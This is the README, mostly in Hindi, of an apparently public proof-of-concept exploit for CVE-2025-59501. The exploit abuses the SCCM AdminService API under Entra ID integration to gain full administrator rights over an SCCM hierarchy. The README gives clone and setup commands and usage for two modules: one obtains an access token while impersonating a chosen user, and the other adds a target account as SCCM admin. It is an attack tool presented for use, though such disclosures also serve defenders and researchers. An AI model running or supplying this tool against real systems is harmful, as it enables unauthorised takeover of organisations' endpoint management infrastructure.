
CVE-2025-59501 POC कोड
POC जो SCCM के AdminService API का दुरुपयोग करता है जब Entra ID एकीकरण सक्षम होता है, पूर्ण व्यवस्थापक बनने और SCCM पदानुक्रम पर कब्जा करने के लिए। अधिक जानकारी इस ब्लॉग में मिल सकती है।
git clone https://github.com/garrettfoster13/CVE-2025-59501.git
cd CVE-2025-59501/
uv sync
इस टूल में दो मॉड्यूल हैं: token और admin
➜ CVE-2025-59501 git:(main) ✗ uv run poc.py
usage: poc.py [-h] {token,admin} ...
POC to abuse CVE-2025-59501 by @unsigned_sh0rt
positional arguments:
{token,admin}
token Get AdminService access token
admin Add user as SCCM admin
options:
-h, --help show this help message and exit
token मॉड्यूल का उपयोग एक Entra/AD उपयोगकर्ता के रूप में एक्सेस टोकन का अनुरोध करने के लिए किया जाता है, जिसमें आप जिस UPN को impersonate करना चाहते हैं।
➜ CVE-2025-59501 git:(main) ✗ uv run poc.py token -h
usage: poc.py token [-h] -u USERNAME [-p PASSWORD] -c CLIENT_ID -t TENANT_ID [-s SCOPE]
options:
-h, --help show this help message and exit
-u, --username USERNAME
username
-p, --password PASSWORD
password
-c, --client-id CLIENT_ID
azure app clientid
-t, --tenant-id TENANT_ID
entra tenant ID
-s, --scope SCOPE resource URI/Scope
admin मॉड्यूल AdminService API में प्रमाणित करने के लिए टोकन का उपयोग करता है ताकि लक्ष्य उपयोगकर्ता खाते को SCCM व्यवस्थापक के रूप में जोड़ा जा सके।
➜ CVE-2025-59501 git:(main) ✗ uv run poc.py admin -h
usage: poc.py admin [-h] -t TARGET -u USER -s SID -a ACCESS_TOKEN
options:
-h, --help show this help message and exit
-t, --target TARGET target SMS provider FQDN or IP address
-u, --user USER Username to add as admin
-s, --sid SID New admins user's SID
-a, --access-token ACCESS_TOKEN
AdminService access token